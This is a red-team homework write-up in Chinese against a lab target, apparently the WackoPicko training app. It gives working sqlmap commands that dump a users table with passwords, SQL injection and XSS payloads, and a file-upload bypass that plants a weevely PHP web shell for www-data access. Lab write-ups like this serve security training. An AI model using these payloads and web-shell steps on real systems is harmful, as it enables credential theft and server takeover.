---
# System prepended metadata

title: 0426-Red-Team-Mission1-HW
tags: [0426-Red-Team-Mission1-HW]

---

---
title: 0426-Red-Team-Mission1-HW       # 簡報的名稱
tags: 0426-Red-Team-Mission1-HW        # 簡報的標籤
slideOptions:
  # spotlight:
    # enabled: true
---


{%hackmd theme-dark %}

# 0426-Red-Team-Mission1-HW
### Jeff
### 靶機10.99.62.99

## 任務1
### 1. Dump整個資料庫 
- [x] 
在BurpSuite攔截網頁後，按右鍵將其傳送到其套件SQLMap當中(下面程式是BurpSuite套件-SQLMap自動生成的腳本與參數)
```python=
sqlmap.py 
-u "http://10.99.62.99:80/users/login.php" 
--data="username=syTwJuDc'%20and%20(select*from(select(sleep(20)))a)--%20&password=b7X%21l9a%21V0" 
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36"
--referer="http://10.99.62.99/users/login.php"
--delay=0
--timeout=30 
--retries=0 
--level=3 
--risk=1 
--threads=1 
--time-sec=5 
-b 
--batch 
--answers="crack=N,dict=N"
```
- [--referer用途](http://www.ruanyifeng.com/blog/2019/06/http-referer.html)
- --retries=RETRIES
    - Retries when the connection timeouts (default 3)
- --level=LEVEL
    - Level of tests to perform (1-5, default 1)
- --risk=RISK
    - Risk of tests to perform (1-3, default 1)
- -b, --banner
    - Retrieve DBMS banner
- --answers=ANSWERS
    - Set question answers (e.g. "quit=N,follow=N")

注入未成功=>有時候還是不要太相信自動的東西XD（只獲取資料庫名稱與系統版本與名稱）。修改參數，只保留以下參數就可以dump出資料庫
```python=
sqlmap 
-u "http://10.99.62.99:80/users/login.php"  
--data="username=123&password=123" 
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 
--referer="http://10.99.62.99/users/login.php" 
-v 3 
--threads=10 //提升速度
-D wackopicko -T users -C id,password --dump --batch
```
- --data=DATA
    - Data string to be sent through **POST**
- --user-agent=AGENT
    - HTTP User-Agent header value
-  --referer=REFERER
    - HTTP Referer header value
- -v VERBOSE
    - Verbosity level: 0-6 (default 1)
    - Target:
        - At least one of these options has to be provided to define the target(s)
- Resources
    - [Sqlmap小技巧](https://www.security-sleuth.com/sleuth-blog/2017/1/3/sqlmap-cheat-sheet)
    - [Sqlmap參數介紹1](https://www.freebuf.com/sectool/164608.html)
    - [Sqlmap參數介紹2](https://anttutu.github.io/2017/07/sqlmap/)
    - [Sqlmap深度解析](tps://kknews.cc/zh-tw/news/ybjpk3a.html)
    - [--level --risk --verbose 用途？](https://zhuanlan.zhihu.com/p/51756921)
#### 結果 => Dump整個資料庫 
![](https://i.imgur.com/RftGyIA.jpg)


### 2. web滲透
- [x] 
* XSS漏洞
    * 反射型=> GET
        ```http://10.99.62.99/pictures/search.php?query=%22%3E%3Cscript%3Ealert%28999%29%3B%3C%2Fscript%3E```
    * 儲存型=> POST
        ```aaaa<script>alert(666)</script>bbb```
        * alert()裡面放數字才能執行
        * 結果
         ![](https://i.imgur.com/wbR50c0.jpg)
        * 彈出alert視窗 ![](https://i.imgur.com/ZmFGUCu.jpg)

* SQL-injection => POST型
    * 使用SQLPy => 先用BurpSuite攔截，再使用BurpSuite套件SQLPy進行SQL Injection
    * 細部調整參數 
    ![](https://i.imgur.com/AYPhWKY.jpg)
    * 列舉資料庫版本、OS與其版本![](https://i.imgur.com/eTFMwM8.jpg)
* OS command injection => TODO
* 使用弱掃軟體掃描更全面了解弱點
    * ZAP
    ![](https://i.imgur.com/FggSQhL.jpg)
    * BurpSuite_pro
    ![](https://i.imgur.com/BaCMnpF.jpg)
    * 按照弱掃結果去打
### 3. 拿到www-data權限
* (1) 透過weevely 建立後門程式
```c=
 weevely generate 1234 exploit.php
```
* (2)使用File Upload 漏洞
    * 記得file name要有.php的副檔名＝>才會自動執行該程式
     ![](https://i.imgur.com/0Mp2AtP.jpg)

    * 透過BurpSuite攔截網頁 
    filename 多加.jpeg繞過檢測
    Content-Type: image/jpeg繞過檢測
     ![](https://i.imgur.com/IikABTS.jpg)
* (3)使用weevely連線=>取得www-data的帳號權限
    ```c=
    weevely http://10.99.62.99/upload/omg/omg.php 1234
    ```
    ![](https://i.imgur.com/GiCj0jv.jpg)
* (4)後續：提權
- [ ] 
![](https://i.imgur.com/3tV3EJA.jpg)




